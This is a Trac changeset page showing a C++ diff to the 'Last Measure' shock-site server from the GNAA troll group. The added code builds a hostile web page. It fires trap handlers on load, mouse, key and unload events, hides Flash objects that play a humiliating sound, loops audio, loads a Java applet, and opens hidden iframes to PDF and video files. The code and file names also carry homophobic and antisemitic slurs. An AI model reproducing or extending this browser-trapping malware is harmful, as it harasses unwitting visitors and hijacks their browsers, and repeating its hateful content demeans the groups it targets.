Changeset 565


Ignore:
Timestamp:
01/11/12 03:44:48 (17 months ago)
Author:
literalka
Message:

is_popup()

File:
1 edited

Legend:

Unmodified
Added
Removed
  • trollforge/lastmeasure/server/lmresource.h

    r564 r565  
    1616#endif 
    1717 
    18 //static size_t soundcount = 16; 
     18static size_t audiocount = 16; 
    1919 
    2020static char const *staticnames[] = 
     
    111111        } 
    112112 
     113        /* Is this a pop-up? */ 
     114        bool is_popup = strstr(resource, "?popup=1"); 
     115 
     116        char const *flash; 
     117 
    113118        /* Is the browser IE 6 or better? */ 
    114119        char const *parser = strstr(agent, " MSIE "); 
     
    117122        /* Sending stuff */ 
    118123        std::stringstream data(""); 
     124 
    119125        data << 
    120  "<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Transitional//EN\"" 
    121  "\"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\">\r\n" 
    122  "<html xmlns=\"http://www.w3.org/1999/xhtml\" lang=\"en\" xml:lang=\"en\">" 
    123  
    124  "  <head>\r\n" 
    125  "    <title>GNAA Last Measure Live!</title>\r\n" 
    126  "    <meta name=\"keywords\" content=\"" << Keywords(128) << "\" />\r\n" 
    127  "    <script type=\"text/javascript\">" << JavaScript(host) << 
    128  "    </script>\r\n" 
    129  "    <link rel=\"icon\" type=\"image/x-icon\" " 
    130  "          href=\"http://" << host << "/favicon.ico\" />\r\n" 
    131  "    <link rel=\"shortcut icon\" type=\"image/x-icon\" " 
    132  "          href=\"http://" << host << "/favicon.ico\" />\r\n" 
    133  "    <style type=\"text/css\">\r\n" 
    134  "      html { height: 100%; width: 100%; overflow: hidden; }\r\n" 
    135  "      body { height: 100%; width: 100%; margin: 0; padding: 0; }\r\n" 
    136  "    </style>\r\n" 
    137  "  </head>\r\n" 
    138  
    139  "  <body style=\"background-image: url(http://" << host 
     126 
     127    "<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Transitional//EN\"" 
     128    "\"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\">\r\n" 
     129    "<html xmlns=\"http://www.w3.org/1999/xhtml\" lang=\"en\" xml:lang=\"en\">" 
     130 
     131    "  <head>\r\n" 
     132    "    <title>GNAA Last Measure Live!</title>\r\n" 
     133    "    <meta name=\"keywords\" content=\"" << Keywords(128) << "\" />\r\n" 
     134    "    <script type=\"text/javascript\">" << JavaScript(host) << 
     135    "    </script>\r\n" 
     136    "    <link rel=\"icon\" type=\"image/x-icon\" " 
     137    "          href=\"http://" << host << "/favicon.ico\" />\r\n" 
     138    "    <link rel=\"shortcut icon\" type=\"image/x-icon\" " 
     139    "          href=\"http://" << host << "/favicon.ico\" />\r\n" 
     140    "    <style type=\"text/css\">\r\n" 
     141    "      html { height: 100%; width: 100%; overflow: hidden; }\r\n" 
     142    "      body { height: 100%; width: 100%; margin: 0; padding: 0; }\r\n" 
     143    "    </style>\r\n" 
     144    "  </head>\r\n" 
     145 
     146    "  <body style=\"background-image: url(http://" << host 
    140147          << RandomAsset("/images/") << "); background-color: #FFFFFF;\"" 
    141  "        onload=\"bookmark();noframes();load_goatse();" 
    142  "        document.goatse.reset();movew0w();setTimeout('ruin()', 20);"; 
     148    "        onload=\"bookmark();noframes();load_goatse();" 
     149    "        document.goatse.reset();movew0w();setTimeout('ruin()', 20);"; 
    143150        if (is_ie6) 
    144151            data << "setTimeout('main()', 100);"; 
    145152        data << 
    146  "        onmousemove=\"document.goatse.reset();movew0w();procreate();\"" 
    147  "        onkeydown=\"molish();procreate();\"" 
    148  "        onunload=\"document.goatse.reset();movew0w();procreate();\"" 
    149  "        onmouseover=\"document.goatse.reset();movew0w();procreate();\">\r\n"; 
     153    "        onmousemove=\"document.goatse.reset();movew0w();procreate();\"" 
     154    "        onkeydown=\"molish();procreate();\"" 
     155    "        onunload=\"document.goatse.reset();movew0w();procreate();\"" 
     156    "        onmouseover=\"document.goatse.reset();movew0w();procreate();\">\r\n"; 
    150157 
    151158        data << MoveAround(800, 600, host); 
     
    157164        } 
    158165 
    159  "  </body>\r\n" 
    160  
    161 ; 
     166    data << 
     167 
     168    "<table>\r\n" 
     169    "    <tr>\r\n" 
     170    "        <td valign=\"middle\">\r\n" 
     171    "            <div style=\"text-align: center;\">\r\n" 
     172    "                <a href=\"http://www.gnaa.eu/\"><img src=\"" << host << "/gnaa.png\" alt=\"GNAA\" /></a>\r\n" 
     173    "                <br />\r\n" 
     174    "                <br />\r\n"; 
     175 
     176    if (is_popup) 
     177    { 
     178        flash = "second_opener.swf"; 
     179    } else { 
     180        flash = "first_opener.swf"; 
     181    } 
     182 
     183    if(!is_ie6) 
     184    { 
     185        data << 
     186 
     187        "<object classid=\"clsid:D27CDB6E-AE6D-11cf-96B8-444553540000\" " 
     188        "codebase=\"http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,0,0\">\r\n" 
     189        "    <param name=\"movie\" value=\"" << host << "/flash/" << flash << "\" />\r\n" 
     190        "    <param name=\"quality\" value=\"high\" />\r\n" 
     191        "</object>\r\n"; 
     192    } 
     193 
     194    data << 
     195 
     196    "            </div>\r\n" 
     197    "        </td>\r\n" 
     198    "    </tr>\r\n" 
     199    "</table>\r\n"; 
     200 
     201        if (!is_popup) 
     202        { 
     203            data << 
     204 
     205            "<div>\r\n" 
     206// This object plays the "hey everybody, I'm looking at gay porno!" sound 
     207            "<object classid=\"clsid:D27CDB6E-AE6D-11cf-96B8-444553540000\" " 
     208            "codebase=\"http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,0,0\" width=\"1\" height=\"1\" id=\"hey\">\r\n" 
     209            "    <param name=\"movie\" value=\"" << host << "/flash/hey.swf\" />\r\n" 
     210            "    <param name=\"quality\" value=\"high\" />\r\n" 
     211            "</object>\r\n" 
     212            "<script type=\"text/javascript\">\r\n" 
     213            "<!--\r\n" 
     214            "var audio = new Array();\r\n" 
     215            "var audiocount = " << audiocount << ";\r\n"; 
     216 
     217            for(size_t i = 0; i < audiocount; i++) { 
     218                data << "    audio[" << (i+imagecount) << "] = '" << host << "/audio/" << staticnames[i+imagecount] << "';\r\n"; 
     219            } 
     220 
     221            data << 
     222 
     223            "for (i = 0; i < audiocount; i++) {\r\n" 
     224            "    setTimeout('document.getElementById(\"audio\").innerHTML += \'<embed src=\"' + audio[i] + '\" loop=\"true\" />\';', 6000 * (i/2));\r\n" 
     225            "}\r\n" 
     226            "// -->\r\n" 
     227            "</script>\r\n" 
     228            "<div id=\"audio\">\r\n" 
     229            "</div>\r\n" 
     230            "<applet code=\"LastCoffee.class\" width=\"100\" height=\"100\" codebase=\"/\" />\r\n" 
     231            "</div>\r\n" 
     232            "<div>\r\n" 
     233            "<iframe style=\"width: 1px; height: 1px;\" src=\"" << host << "/lm.pdf\"></iframe>\r\n" 
     234            "<iframe style=\"width: 1px; height: 1px;\" src=\"" << host << "/lm2.pdf\"></iframe>\r\n" 
     235            "<iframe style=\"width: 1px; height: 1px;\" src=\"" << host << "/jews.wmv\"></iframe>\r\n" 
     236            "<br />\r\n" << Keywords(128) << "</div>\r\n"; 
     237        } 
     238 
     239    data << "  </body>\r\n"; 
     240 
    162241        data << "<html><body><p>You are asking for " 
    163242             << resource << ". You could also ask for <a href=\"http://" 
Note: See TracChangeset for help on using the changeset viewer.